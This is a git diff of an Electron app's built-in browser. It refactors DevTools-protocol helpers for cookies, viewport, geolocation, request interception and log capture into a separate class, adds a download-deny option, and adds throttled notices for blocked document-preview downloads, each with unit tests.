-            guestWebContentsId: webContents.id,
-            permission,
-            rawUrl
-          })
-          callback(false)
-        }
-      )
-      return
-    }
-    const allowed = isAutoGrantedBrowserSessionPermission(permission)
-    if (!allowed) {
-      const rawUrl = resolvePermissionNoticeUrl(webContents, details)
-      browserManager.notifyPermissionDenied({
-        guestWebContentsId: webContents.id,
-        permission,
-        rawUrl
-      })
-    }
-    callback(allowed)
-  })
-  sess.setPermissionCheckHandler((_webContents, permission, _origin, details) => {
-    if (permission === 'media') {
-      return hasSystemMediaAccess(details?.mediaType)
-    }
-    if (allowsBrowserWebAuthnPermission(permission, details)) {
-      return true
-    }
-    return isAutoGrantedBrowserSessionPermission(permission)
-  })
-  installBrowserWebAuthnAccessHandlers(sess)
+        )
+        return
+      }
+      const allowed = isAutoGrantedBrowserSessionPermission(permission)
+      if (!allowed) {
+        const rawUrl = resolvePermissionNoticeUrl(webContents, details)
+        browserManager.notifyPermissionDenied({
+          guestWebContentsId: webContents.id,
+          permission,
+          rawUrl
+        })
+      }
+      callback(allowed)
+    })
+    sess.setPermissionCheckHandler((_webContents, permission, _origin, details) => {
+      if (permission === 'media') {
+        return hasSystemMediaAccess(details?.mediaType)
+      }
+      if (allowsBrowserWebAuthnPermission(permission, details)) {
+        return true
+      }
+      return isAutoGrantedBrowserSessionPermission(permission)
+    })
+    installBrowserWebAuthnAccessHandlers(sess)
+  }
   sess.setDisplayMediaRequestHandler((_request, callback) => {
     callback({ video: undefined, audio: undefined })
   })
   sess.removeListener('will-download', handleWillDownload)
-  sess.on('will-download', handleWillDownload)
+  sess.removeListener('will-download', handleDeniedWillDownload)
+  sess.on(
+    'will-download',
+    options?.downloads === 'deny' ? handleDeniedWillDownload : handleWillDownload
+  )
   configuredPartitions.add(partition)
 }
 
@@ -115,6 +153,7 @@ export function clearBrowserSessionPartitionPolicies(partition: string, sess: Se
   configuredPartitions.delete(partition)
   browserManager.removeCertificateRequestGuard(sess)
   sess.removeListener('will-download', handleWillDownload)
+  sess.removeListener('will-download', handleDeniedWillDownload)
   clearBrowserWebAuthnAccessHandlers(sess)
   sess.setPermissionRequestHandler(null)
   sess.setPermissionCheckHandler(null)
diff --git a/src/main/browser/cdp-auxiliary-commands.ts b/src/main/browser/cdp-auxiliary-commands.ts
new file mode 100644
index 00000000000..88a02d3f43c
--- /dev/null
+++ b/src/main/browser/cdp-auxiliary-commands.ts
@@ -0,0 +1,213 @@
+import type { WebContents } from 'electron'
+import type {
+  BrowserCaptureStartResult,
+  BrowserCaptureStopResult,
+  BrowserConsoleEntry,
+  BrowserConsoleResult,
+  BrowserCookie,
+  BrowserCookieDeleteResult,
+  BrowserCookieGetResult,
+  BrowserCookieSetResult,
+  BrowserGeolocationResult,
+  BrowserInterceptDisableResult,
+  BrowserInterceptEnableResult,
+  BrowserInterceptedRequest,
+  BrowserNetworkEntry,
+  BrowserNetworkLogResult,
+  BrowserViewportResult
+} from '../../shared/runtime-types'
+import type { CdpCommandSender, SnapshotResult } from './snapshot-engine'
+
+export type CdpTabState = {
+  navigationId: string | null
+  snapshotResult: SnapshotResult | null
+  debuggerAttached: boolean
+  debuggerDetachListener: (() => void) | null
+  debuggerMessageListener: ((_event: unknown, method: string, params: unknown) => void) | null
+  iframeSessions: Map<string, string>
+  capturing: boolean
+  consoleLog: BrowserConsoleEntry[]
+  networkLog: BrowserNetworkEntry[]
+  intercepting: boolean
+  interceptPatterns: string[]
+  pausedRequests: Map<string, BrowserInterceptedRequest>
+  networkRequestMap: Map<string, BrowserNetworkEntry>
+}
+
+type ActiveCdpContext = {
+  guest: WebContents
+  sender: CdpCommandSender
+  state: CdpTabState
+}
+
+export type CdpAuxiliaryCommandHost = {
+  run: <T>(operation: (context: ActiveCdpContext) => Promise<T>) => Promise<T>
+  // Why: captureStop must not attach the debugger — stopping a capture on a tab whose
+  // debugger detached (DevTools opened) would otherwise throw before clearing state.
+  runOnState: <T>(
+    operation: (context: Pick<ActiveCdpContext, 'guest' | 'state'>) => Promise<T>
+  ) => Promise<T>
+  current: () => Pick<ActiveCdpContext, 'guest' | 'state'>
+}
+
+export class CdpAuxiliaryCommands {
+  constructor(private readonly host: CdpAuxiliaryCommandHost) {}
+
+  cookieGet(url?: string): Promise<BrowserCookieGetResult> {
+    return this.host.run(async ({ sender }) => {
+      const params: Record<string, unknown> = {}
+      if (url) {
+        params.urls = [url]
+      }
+      const { cookies } = (await sender('Network.getCookies', params)) as {
+        cookies: BrowserCookie[]
+      }
+      return { cookies }
+    })
+  }
+
+  cookieSet(cookie: {
+    name: string
+    value: string
+    domain?: string
+    path?: string
+    secure?: boolean
+    httpOnly?: boolean
+    sameSite?: string
+    expires?: number
+  }): Promise<BrowserCookieSetResult> {
+    return this.host.run(async ({ sender }) => {
+      let domain = cookie.domain
+      if (!domain) {
+        const { result } = (await sender('Runtime.evaluate', {
+          expression: 'location.hostname',
+          returnByValue: true
+        })) as { result: { value: string } }
+        domain = result.value
+      }
+      const params: Record<string, unknown> = {
+        name: cookie.name,
+        value: cookie.value,
+        domain,
+        path: cookie.path ?? '/',
+        secure: cookie.secure ?? false,
+        httpOnly: cookie.httpOnly ?? false,
+        sameSite: cookie.sameSite ?? 'Lax'
+      }
+      if (cookie.expires !== undefined) {
+        params.expires = cookie.expires
+      }
+      const { success } = (await sender('Network.setCookie', params)) as { success: boolean }
+      return { success }
+    })
+  }
+
+  cookieDelete(name: string, domain?: string, url?: string): Promise<BrowserCookieDeleteResult> {
+    return this.host.run(async ({ sender }) => {
+      const params: Record<string, unknown> = { name }
+      if (domain) {
+        params.domain = domain
+      }
+      if (url) {
+        params.url = url
+      }
+      if (!domain && !url) {
+        const { result } = (await sender('Runtime.evaluate', {
+          expression: 'location.href',
+          returnByValue: true
+        })) as { result: { value: string } }
+        params.url = result.value
+      }
+      await sender('Network.deleteCookies', params)
+      return { deleted: true }
+    })
+  }
+
+  setViewport(
+    width: number,
+    height: number,
+    deviceScaleFactor = 1,
+    mobile = false
+  ): Promise<BrowserViewportResult> {
+    return this.host.run(async ({ sender }) => {
+      await sender('Emulation.setDeviceMetricsOverride', {
+        width,
+        height,
+        deviceScaleFactor,
+        mobile
+      })
+      await Promise.resolve(sender('Emulation.setVisibleSize', { width, height })).catch(() => {})
+      return { width, height, deviceScaleFactor, mobile }
+    })
+  }
+
+  setGeolocation(
+    latitude: number,
+    longitude: number,
+    accuracy = 1
+  ): Promise<BrowserGeolocationResult> {
+    return this.host.run(async ({ sender }) => {
+      await sender('Emulation.setGeolocationOverride', { latitude, longitude, accuracy })
+      return { latitude, longitude, accuracy }
+    })
+  }
+
+  interceptEnable(patterns: string[] = ['*']): Promise<BrowserInterceptEnableResult> {
+    return this.host.run(async ({ sender, state }) => {
+      await sender('Fetch.enable', { patterns: patterns.map((urlPattern) => ({ urlPattern })) })
+      state.intercepting = true
+      state.interceptPatterns = patterns
+      return { enabled: true, patterns }
+    })
+  }
+
+  interceptDisable(): Promise<BrowserInterceptDisableResult> {
+    return this.host.run(async ({ sender, state }) => {
+      await sender('Fetch.disable')
+      state.intercepting = false
+      state.interceptPatterns = []
+      state.pausedRequests.clear()
+      return { disabled: true }
+    })
+  }
+
+  interceptList(): { requests: BrowserInterceptedRequest[] } {
+    const { state } = this.host.current()
+    return { requests: [...state.pausedRequests.values()] }
+  }
+
+  captureStart(): Promise<BrowserCaptureStartResult> {
+    return this.host.run(async ({ sender, state }) => {
+      await sender('Runtime.enable')
+      state.capturing = true
+      state.consoleLog = []
+      state.networkLog = []
+      state.networkRequestMap.clear()
+      return { capturing: true }
+    })
+  }
+
+  captureStop(): Promise<BrowserCaptureStopResult> {
+    return this.host.runOnState(async ({ state }) => {
+      state.capturing = false
+      state.networkRequestMap.clear()
+      return { stopped: true }
+    })
+  }
+
+  consoleLog(limit = 100): BrowserConsoleResult {
+    const { state } = this.host.current()
+    return {
+      entries: state.consoleLog.slice(-limit),
+      truncated: state.consoleLog.length > limit
+    }
+  }
+
+  networkLog(limit = 100): BrowserNetworkLogResult {
+    const { state } = this.host.current()
+    return {
+      entries: state.networkLog.slice(-limit),
+      truncated: state.networkLog.length > limit
+    }
+  }
+}
diff --git a/src/main/browser/cdp-bridge.ts b/src/main/browser/cdp-bridge.ts
index fc5991924a9..73dec07f2d2 100644
--- a/src/main/browser/cdp-bridge.ts
+++ b/src/main/browser/cdp-bridge.ts
@@ -6,9 +6,7 @@ import type {
   BrowserCheckResult,
   BrowserClearResult,
   BrowserClickResult,
-  BrowserConsoleEntry,
   BrowserConsoleResult,
-  BrowserCookie,
   BrowserCookieDeleteResult,
   BrowserCookieGetResult,
   BrowserCookieSetResult,
@@ -39,16 +37,12 @@ import type {
   BrowserViewportResult,
   BrowserWaitResult
 } from '../../shared/runtime-types'
-import {
-  buildSnapshot,
-  type CdpCommandSender,
-  type RefEntry,
-  type SnapshotResult
-} from './snapshot-engine'
+import { buildSnapshot, type CdpCommandSender, type RefEntry } from './snapshot-engine'
 import { insertTextThroughCdp } from './browser-text-insertion'
 import type { BrowserManager } from './browser-manager'
 import { ANTI_DETECTION_SCRIPT } from './anti-detection'
 import { BrowserError } from './browser-error'
+import { CdpAuxiliaryCommands, type CdpTabState } from './cdp-auxiliary-commands'
 
 const CAPTURE_LOG_LIMIT = 1000
 
@@ -56,25 +50,6 @@ const CAPTURE_LOG_LIMIT = 1000
 // pulling Chromium in. Existing importers of this path keep working.
 export { BrowserError } from './browser-error'
 
-type TabState = {
-  navigationId: string | null
-  snapshotResult: SnapshotResult | null
-  debuggerAttached: boolean
-  debuggerDetachListener: (() => void) | null
-  debuggerMessageListener: ((_event: unknown, method: string, params: unknown) => void) | null
-  iframeSessions: Map<string, string>
-  // Why: capture state is per-tab so one tab's console/network events don't pollute another's buffer.
-  capturing: boolean
-  consoleLog: BrowserConsoleEntry[]
-  networkLog: BrowserNetworkEntry[]
-  // Why: interception state lets the agent selectively continue or block individual requests.
-  intercepting: boolean
-  interceptPatterns: string[]
-  pausedRequests: Map<string, BrowserInterceptedRequest>
-  // Why: maps CDP requestId → networkLog entry so loadingFinished attributes size to the right overlapping response.
-  networkRequestMap: Map<string, BrowserNetworkEntry>
-}
-
 type QueuedCommand = {
   execute: () => Promise<unknown>
   resolve: (value: unknown) => void
@@ -83,13 +58,45 @@ type QueuedCommand = {
 
 export class CdpBridge {
   private activeWebContentsId: number | null = null
-  private readonly tabState = new Map<string, TabState>()
+  private readonly tabState = new Map<string, CdpTabState>()
   private readonly commandQueues = new Map<string, QueuedCommand[]>()
   private readonly processingQueues = new Set<string>()
   private readonly browserManager: BrowserManager
+  private readonly auxiliaryCommands: CdpAuxiliaryCommands
 
   constructor(browserManager: BrowserManager) {
     this.browserManager = browserManager
+    this.auxiliaryCommands = new CdpAuxiliaryCommands({
+      run: <T>(
+        operation: (context: {
+          guest: Electron.WebContents
+          sender: CdpCommandSender
+          state: CdpTabState
+        }) => Promise<T>
+      ): Promise<T> =>
+        this.enqueueCommand(async () => {
+          const guest = this.getActiveGuest()
+          const sender = this.makeCdpSender(guest)
+          await this.ensureDebuggerAttached(guest)
+          const state = this.getOrCreateTabState(this.resolveTabId(guest.id))
+          return operation({ guest, sender, state })
+        }),
+      runOnState: <T>(
+        operation: (context: { guest: Electron.WebContents; state: CdpTabState }) => Promise<T>
+      ): Promise<T> =>
+        this.enqueueCommand(async () => {
+          const guest = this.getActiveGuest()
+          const state = this.getOrCreateTabState(this.resolveTabId(guest.id))
+          return operation({ guest, state })
+        }),
+      current: () => {
+        const guest = this.getActiveGuest()
+        return {
+          guest,
+          state: this.getOrCreateTabState(this.resolveTabId(guest.id))
+        }
+      }
+    })
   }
 
   setActiveTab(webContentsId: number): void {
@@ -636,25 +643,11 @@ export class CdpBridge {
 
   // ── Cookie management ──
 
-  async cookieGet(url?: string): Promise<BrowserCookieGetResult> {
-    return this.enqueueCommand(async () => {
-      const guest = this.getActiveGuest()
-      const sender = this.makeCdpSender(guest)
-      await this.ensureDebuggerAttached(guest)
-
-      const params: Record<string, unknown> = {}
-      if (url) {
-        params.urls = [url]
-      }
-      const { cookies } = (await sender('Network.getCookies', params)) as {
-        cookies: BrowserCookie[]
-      }
-
-      return { cookies }
-    })
+  cookieGet(url?: string): Promise<BrowserCookieGetResult> {
+    return this.auxiliaryCommands.cookieGet(url)
   }
 
-  async cookieSet(cookie: {
+  cookieSet(cookie: {
     name: string
     value: string
     domain?: string
@@ -664,211 +657,66 @@ export class CdpBridge {
     sameSite?: string
     expires?: number
   }): Promise<BrowserCookieSetResult> {
-    return this.enqueueCommand(async () => {
-      const guest = this.getActiveGuest()
-      const sender = this.makeCdpSender(guest)
-      await this.ensureDebuggerAttached(guest)
-
-      // Why: Network.setCookie needs a domain or url to scope the cookie; infer the domain from the current page when omitted.
-      let domain = cookie.domain
-      if (!domain) {
-        const { result: urlResult } = (await sender('Runtime.evaluate', {
-          expression: 'location.hostname',
-          returnByValue: true
-        })) as { result: { value: string } }
-        domain = urlResult.value
-      }
-
-      const params: Record<string, unknown> = {
-        name: cookie.name,
-        value: cookie.value,
-        domain,
-        path: cookie.path ?? '/',
-        secure: cookie.secure ?? false,
-        httpOnly: cookie.httpOnly ?? false,
-        sameSite: cookie.sameSite ?? 'Lax'
-      }
-      if (cookie.expires !== undefined) {
-        params.expires = cookie.expires
-      }
-
-      const { success } = (await sender('Network.setCookie', params)) as { success: boolean }
-      return { success }
-    })
+    return this.auxiliaryCommands.cookieSet(cookie)
   }
 
-  async cookieDelete(
-    name: string,
-    domain?: string,
-    url?: string
-  ): Promise<BrowserCookieDeleteResult> {
-    return this.enqueueCommand(async () => {
-      const guest = this.getActiveGuest()
-      const sender = this.makeCdpSender(guest)
-      await this.ensureDebuggerAttached(guest)
-
-      const params: Record<string, unknown> = { name }
-      if (domain) {
-        params.domain = domain
-      }
-      if (url) {
-        params.url = url
-      }
-      // Why: Network.deleteCookies needs a domain or url; infer from the current page if neither was given.
-      if (!domain && !url) {
-        const { result: urlResult } = (await sender('Runtime.evaluate', {
-          expression: 'location.href',
-          returnByValue: true
-        })) as { result: { value: string } }
-        params.url = urlResult.value
-      }
-
-      await sender('Network.deleteCookies', params)
-      return { deleted: true }
-    })
+  cookieDelete(name: string, domain?: string, url?: string): Promise<BrowserCookieDeleteResult> {
+    return this.auxiliaryCommands.cookieDelete(name, domain, url)
   }
 
   // ── Viewport emulation ──
 
-  async setViewport(
+  setViewport(
     width: number,
     height: number,
     deviceScaleFactor = 1,
     mobile = false
   ): Promise<BrowserViewportResult> {
-    return this.enqueueCommand(async () => {
-      const guest = this.getActiveGuest()
-      const sender = this.makeCdpSender(guest)
-      await this.ensureDebuggerAttached(guest)
-
-      await sender('Emulation.setDeviceMetricsOverride', {
-        width,
-        height,
-        deviceScaleFactor,
-        mobile
-      })
-      // Why: metrics-only resize can leave the compositor surface at the old size, cropping remote screencast clients.
-      await Promise.resolve(sender('Emulation.setVisibleSize', { width, height })).catch(() => {})
-
-      return { width, height, deviceScaleFactor, mobile }
-    })
+    return this.auxiliaryCommands.setViewport(width, height, deviceScaleFactor, mobile)
   }
 
   // ── Geolocation ──
 
-  async setGeolocation(
+  setGeolocation(
     latitude: number,
     longitude: number,
     accuracy = 1
   ): Promise<BrowserGeolocationResult> {
-    return this.enqueueCommand(async () => {
-      const guest = this.getActiveGuest()
-      const sender = this.makeCdpSender(guest)
-      await this.ensureDebuggerAttached(guest)
-
-      await sender('Emulation.setGeolocationOverride', { latitude, longitude, accuracy })
-      return { latitude, longitude, accuracy }
-    })
+    return this.auxiliaryCommands.setGeolocation(latitude, longitude, accuracy)
   }
 
   // ── Request interception ──
 
-  async interceptEnable(patterns: string[] = ['*']): Promise<BrowserInterceptEnableResult> {
-    return this.enqueueCommand(async () => {
-      const guest = this.getActiveGuest()
-      const sender = this.makeCdpSender(guest)
-      await this.ensureDebuggerAttached(guest)
-
-      const tabId = this.resolveTabId(guest.id)
-      const state = this.getOrCreateTabState(tabId)
-
-      const requestPatterns = patterns.map((p) => ({ urlPattern: p }))
-      await sender('Fetch.enable', { patterns: requestPatterns })
-
-      state.intercepting = true
-      state.interceptPatterns = patterns
-
-      return { enabled: true, patterns }
-    })
+  interceptEnable(patterns: string[] = ['*']): Promise<BrowserInterceptEnableResult> {
+    return this.auxiliaryCommands.interceptEnable(patterns)
   }
 
-  async interceptDisable(): Promise<BrowserInterceptDisableResult> {
-    return this.enqueueCommand(async () => {
-      const guest = this.getActiveGuest()
-      const sender = this.makeCdpSender(guest)
-      await this.ensureDebuggerAttached(guest)
-
-      const tabId = this.resolveTabId(guest.id)
-      const state = this.getOrCreateTabState(tabId)
-
-      await sender('Fetch.disable')
-      state.intercepting = false
-      state.interceptPatterns = []
-      state.pausedRequests.clear()
-
-      return { disabled: true }
-    })
+  interceptDisable(): Promise<BrowserInterceptDisableResult> {
+    return this.auxiliaryCommands.interceptDisable()
   }
 
   interceptList(): { requests: BrowserInterceptedRequest[] } {
-    const guest = this.getActiveGuest()
-    const tabId = this.resolveTabId(guest.id)
-    const state = this.getOrCreateTabState(tabId)
-    return { requests: [...state.pausedRequests.values()] }
+    return this.auxiliaryCommands.interceptList()
   }
 
   // TODO: Add interceptContinue/interceptBlock once agent-browser supports per-request decisions (CLI is URL-pattern-only).
 
   // ── Console/network capture ──
 
-  async captureStart(): Promise<BrowserCaptureStartResult> {
-    return this.enqueueCommand(async () => {
-      const guest = this.getActiveGuest()
-      const sender = this.makeCdpSender(guest)
-      await this.ensureDebuggerAttached(guest)
-
-      const tabId = this.resolveTabId(guest.id)
-      const state = this.getOrCreateTabState(tabId)
-
-      await sender('Runtime.enable')
-      state.capturing = true
-      state.consoleLog = []
-      state.networkLog = []
-      state.networkRequestMap.clear()
-
-      return { capturing: true }
-    })
+  captureStart(): Promise<BrowserCaptureStartResult> {
+    return this.auxiliaryCommands.captureStart()
   }
 
-  async captureStop(): Promise<BrowserCaptureStopResult> {
-    return this.enqueueCommand(async () => {
-      const guest = this.getActiveGuest()
-      const tabId = this.resolveTabId(guest.id)
-      const state = this.getOrCreateTabState(tabId)
-
-      state.capturing = false
-      state.networkRequestMap.clear()
-
-      return { stopped: true }
-    })
+  captureStop(): Promise<BrowserCaptureStopResult> {
+    return this.auxiliaryCommands.captureStop()
   }
 
   consoleLog(limit = 100): BrowserConsoleResult {
-    const guest = this.getActiveGuest()
-    const tabId = this.resolveTabId(guest.id)
-    const state = this.getOrCreateTabState(tabId)
-
-    const entries = state.consoleLog.slice(-limit)
-    return { entries, truncated: state.consoleLog.length > limit }
+    return this.auxiliaryCommands.consoleLog(limit)
   }
 
   networkLog(limit = 100): BrowserNetworkLogResult {
-    const guest = this.getActiveGuest()
-    const tabId = this.resolveTabId(guest.id)
-    const state = this.getOrCreateTabState(tabId)
-
-    const entries = state.networkLog.slice(-limit)
-    return { entries, truncated: state.networkLog.length > limit }
+    return this.auxiliaryCommands.networkLog(limit)
   }
 
   async back(): Promise<{ url: string; title: string }> {
@@ -1077,7 +925,7 @@ export class CdpBridge {
     return null
   }
 
-  private getOrCreateTabState(tabId: string): TabState {
+  private getOrCreateTabState(tabId: string): CdpTabState {
     let state = this.tabState.get(tabId)
     if (!state) {
       state = {
@@ -1100,7 +948,7 @@ export class CdpBridge {
     return state
   }
 
-  private removeDebuggerListeners(guest: Electron.WebContents, state: TabState): void {
+  private removeDebuggerListeners(guest: Electron.WebContents, state: CdpTabState): void {
     const detachListener = state.debuggerDetachListener
     const messageListener = state.debuggerMessageListener
     state.debuggerDetachListener = null
diff --git a/src/main/browser/doc-preview-download-block-notice.test.ts b/src/main/browser/doc-preview-download-block-notice.test.ts
new file mode 100644
index 00000000000..c57998ea4e5
--- /dev/null
+++ b/src/main/browser/doc-preview-download-block-notice.test.ts
@@ -0,0 +1,126 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+const mocks = vi.hoisted(() => ({
+  publishDocPreviewFailure: vi.fn(),
+  boundGrantIdByGuest: new Map<object, string>(),
+  revocationListener: null as null | ((grant: { id: string }) => void)
+}))
+
+vi.mock('./doc-preview-failure-notice', () => ({
+  publishDocPreviewFailure: mocks.publishDocPreviewFailure
+}))
+vi.mock('./doc-preview-guest-policy', () => ({
+  readDocPreviewGuestBoundGrantId: (guest: object) => mocks.boundGrantIdByGuest.get(guest) ?? null
+}))
+vi.mock('./doc-preview-grant-registry', () => ({
+  onDocPreviewGrantRevoked: (listener: (grant: { id: string }) => void) => {
+    mocks.revocationListener = listener
+    return vi.fn()
+  }
+}))
+
+const GRANT_ID = 'a'.repeat(32)
+const OTHER_GRANT_ID = 'b'.repeat(32)
+
+/** Only the identity matters: the module asks the guest registry what grant this contents holds. */
+function guestBoundTo(grantId: string | null): Electron.WebContents {
+  const guest = {} as Electron.WebContents
+  if (grantId !== null) {
+    mocks.boundGrantIdByGuest.set(guest, grantId)
+  }
+  return guest
+}
+
+async function loadNotifier(): Promise<(guest: Electron.WebContents) => void> {
+  const module = await import('./doc-preview-download-block-notice')
+  return module.noticeDocPreviewDownloadBlocked
+}
+
+beforeEach(() => {
+  vi.clearAllMocks()
+  mocks.boundGrantIdByGuest.clear()
+  mocks.revocationListener = null
+  // Why per test: the module remembers which grants it has already told the reader about.
+  vi.resetModules()
+  vi.useFakeTimers()
+  vi.setSystemTime(new Date('2026-08-27T00:00:00.000Z'))
+})
+
+afterEach(() => {
+  vi.useRealTimers()
+})
+
+describe('noticeDocPreviewDownloadBlocked', () => {
+  it('tells the shell which preview had a download refused', async () => {
+    const notice = await loadNotifier()
+
+    notice(guestBoundTo(GRANT_ID))
+
+    expect(mocks.publishDocPreviewFailure).toHaveBeenCalledWith({
+      grantId: GRANT_ID,
+      reason: 'download-blocked'
+    })
+  })
+
+  // Why: a document can ask in a loop. The reader learns nothing from the second notice, and every
+  // attempt would otherwise cross the IPC boundary and re-render the strip.
+  it('says it once however often the document asks', async () => {
+    const notice = await loadNotifier()
+    const guest = guestBoundTo(GRANT_ID)
+
+    notice(guest)
+    notice(guest)
+    vi.advanceTimersByTime(1_500)
+    notice(guest)
+
+    expect(mocks.publishDocPreviewFailure).toHaveBeenCalledTimes(1)
+  })
+
+  it('says it again for an attempt long after the last one', async () => {
+    const notice = await loadNotifier()
+    const guest = guestBoundTo(GRANT_ID)
+
+    notice(guest)
+    vi.advanceTimersByTime(2_500)
+    notice(guest)
+
+    expect(mocks.publishDocPreviewFailure).toHaveBeenCalledTimes(2)
+  })
+
+  // Why not one throttle for the whole app: two previews are two readers, and silencing the second
+  // because the first just refused something leaves that press unexplained.
+  it('throttles each preview on its own', async () => {
+    const notice = await loadNotifier()
+
+    notice(guestBoundTo(GRANT_ID))
+    notice(guestBoundTo(OTHER_GRANT_ID))
+
+    expect(mocks.publishDocPreviewFailure).toHaveBeenCalledTimes(2)
+    expect(mocks.publishDocPreviewFailure).toHaveBeenLastCalledWith({
+      grantId: OTHER_GRANT_ID,
+      reason: 'download-blocked'
+    })
+  })
+
+  it('forgets a preview as soon as its grant is revoked', async () => {
+    const notice = await loadNotifier()
+    const guest = guestBoundTo(GRANT_ID)
+
+    notice(guest)
+    mocks.revocationListener?.({ id: GRANT_ID })
+    notice(guest)
+
+    expect(mocks.publishDocPreviewFailure).toHaveBeenCalledTimes(2)
+  })
+
+  // The absence half of the first test: no shell is showing this contents, so there is no preview
+  // to put a notice on. Without the presence tests above, this would pass on a module that never
+  // published anything at all.
+  it('says nothing for a contents no preview is bound to', async () => {
+    const notice = await loadNotifier()
+
+    notice(guestBoundTo(null))
+
+    expect(mocks.publishDocPreviewFailure).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/main/browser/doc-preview-download-block-notice.ts b/src/main/browser/doc-preview-download-block-notice.ts
new file mode 100644
index 00000000000..13cebef49b7
--- /dev/null
+++ b/src/main/browser/doc-preview-download-block-notice.ts
@@ -0,0 +1,37 @@
+import { publishDocPreviewFailure } from './doc-preview-failure-notice'
+import { onDocPreviewGrantRevoked } from './doc-preview-grant-registry'
+import { readDocPreviewGuestBoundGrantId } from './doc-preview-guest-policy'
+
+/**
+ * Why the reader is told at all, when the point of the fence is that nothing happens: a press that
+ * produces no file and no explanation reads as Orca being broken. The notice is chrome the document
+ * cannot see or read back, so the refusal stays as silent to the page as it was.
+ *
+ * Why a floor between notices: a document can ask in a loop, and every attempt would otherwise
+ * cross the IPC boundary and re-render the strip. The reader learns nothing from the thousandth.
+ */
+const NOTICE_MIN_INTERVAL_MS = 2_000
+const noticedAtByGrantId = new Map<string, number>()
+
+onDocPreviewGrantRevoked((grant) => noticedAtByGrantId.delete(grant.id))
+
+export function noticeDocPreviewDownloadBlocked(guest: Electron.WebContents): void {
+  const grantId = readDocPreviewGuestBoundGrantId(guest)
+  // Nothing to route a notice to: no shell is showing this contents as a preview.
+  if (grantId === null) {
+    return
+  }
+  const now = Date.now()
+  // Doubles as the expiry check, so what survives is exactly "noticed inside the window", and a
+  // grant that stops downloading stops being remembered.
+  for (const [noticedGrantId, noticedAt] of noticedAtByGrantId) {
+    if (now - noticedAt >= NOTICE_MIN_INTERVAL_MS) {
+      noticedAtByGrantId.delete(noticedGrantId)
+    }
+  }
+  if (noticedAtByGrantId.has(grantId)) {
+    return
+  }
+  noticedAtByGrantId.set(grantId, now)
+  publishDocPreviewFailure({ grantId, reason: 'download-blocked' })
+}
diff --git a/src/main/browser/doc-preview-failure-notice.test.ts b/src/main/browser/doc-preview-failure-notice.test.ts
new file mode 100644
index 00000000000..2272e7bf614
--- /dev/null
+++ b/src/main/browser/doc-preview-failure-notice.test.ts
@@ -0,0 +1,70 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { DOC_PREVIEW_LOAD_FAILURE_CHANNEL } from '../../shared/doc-preview-scheme'
+import { publishDocPreviewFailure, setDocPreviewFailureSink } from './doc-preview-failure-notice'
+
+afterEach(() => {
+  setDocPreviewFailureSink(null)
+})
+
+describe('publishDocPreviewFailure', () => {
+  it('sends the grant, path, and reason on the failure channel', () => {
+    const send = vi.fn()
+    setDocPreviewFailureSink({ send })
+
+    publishDocPreviewFailure({
+      grantId: 'a'.repeat(32),
+      relativePath: 'index.html',
+      reason: 'too-large'
+    })
+
+    expect(send).toHaveBeenCalledWith(DOC_PREVIEW_LOAD_FAILURE_CHANNEL, {
+      grantId: 'a'.repeat(32),
+      relativePath: 'index.html',
+      reason: 'too-large'
+    })
+  })
+
+  // Why: reads can outlive the window that asked for them; a missing sink must not throw inside
+  // the protocol handler.
+  it('is a no-op with no sink registered', () => {
+    expect(() =>
+      publishDocPreviewFailure({
+        grantId: 'b'.repeat(32),
+        relativePath: 'index.html',
+        reason: 'unreadable'
+      })
+    ).not.toThrow()
+  })
+
+  it('sends nothing into a destroyed window', () => {
+    const send = vi.fn()
+    setDocPreviewFailureSink({ send, isDestroyed: () => true })
+
+    publishDocPreviewFailure({
+      grantId: 'c'.repeat(32),
+      relativePath: 'index.html',
+      reason: 'unreadable'
+    })
+
+    expect(send).not.toHaveBeenCalled()
+  })
+
+  // Why: a WebContents can be torn down between the liveness check and the send.
+  it('swallows a throwing sink and stops using it', () => {
+    const send = vi.fn(() => {
+      throw new Error('Object has been destroyed')
+    })
+    setDocPreviewFailureSink({ send })
+    const failure = {
+      grantId: 'd'.repeat(32),
+      relativePath: 'index.html',
+      reason: 'unreadable' as const
+    }
+
+    expect(() => publishDocPreviewFailure(failure)).not.toThrow()
+    publishDocPreviewFailure(failure)
+
+    expect(send).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/src/main/browser/doc-preview-failure-notice.ts b/src/main/browser/doc-preview-failure-notice.ts
new file mode 100644
index 00000000000..1b7330d6f27
--- /dev/null
+++ b/src/main/browser/doc-preview-failure-notice.ts
@@ -0,0 +1,34 @@
+import {
+  DOC_PREVIEW_LOAD_FAILURE_CHANNEL,
+  type DocPreviewFailure
+} from '../../shared/doc-preview-scheme'
+
+type DocPreviewFailureSink = {
+  send: (channel: string, payload: DocPreviewFailure) => void
+  isDestroyed?: () => boolean
+}
+
+let failureSink: DocPreviewFailureSink | null = null
+
+export function setDocPreviewFailureSink(sink: DocPreviewFailureSink | null): void {
+  failureSink = sink
+}
+
+/**
+ * The preview shell cannot read the guest's HTTP status, and a 4xx body renders as
+ * if it were the document. Pushing the reason lets the shell replace that with a
+ * localized notice for the failure the user actually hit.
+ */
+export function publishDocPreviewFailure(failure: DocPreviewFailure): void {
+  const sink = failureSink
+  // Why: a read can outlive the window that asked for it, and sending into torn-down
+  // WebContents throws — an unreadable asset must not take the protocol handler with it.
+  if (!sink || sink.isDestroyed?.()) {
+    return
+  }
+  try {
+    sink.send(DOC_PREVIEW_LOAD_FAILURE_CHANNEL, failure)
+  } catch {
+    failureSink = null
+  }
+}
diff --git a/src/main/browser/doc-preview-file-reader.test.ts b/src/main/browser/doc-preview-file-reader.test.ts
new file mode 100644
index 00000000000..2919d06eec9
--- /dev/null
+++ b/src/main/browser/doc-preview-file-reader.test.ts
@@ -0,0 +1,403 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const mocks = vi.hoisted(() => ({
+  callRuntimeEnvironment: vi.fn(),
+  readFile: vi.fn(),
+  realpath: vi.fn(),
+  requireSshFilesystemProvider: vi.fn()
+}))
+
+vi.mock('../ipc/runtime-environment-transport-routing', () => ({
+  callRuntimeEnvironment: mocks.callRuntimeEnvironment
+}))
+vi.mock('../persistence', () => ({ getCanonicalUserDataPath: () => '/user-data' }))
+vi.mock('../providers/ssh-filesystem-dispatch', () => ({
+  requireSshFilesystemProvider: mocks.requireSshFilesystemProvider
+}))
+
+import { FileReadCapExceededError } from '../ssh/ssh-filesystem-stream-reader'
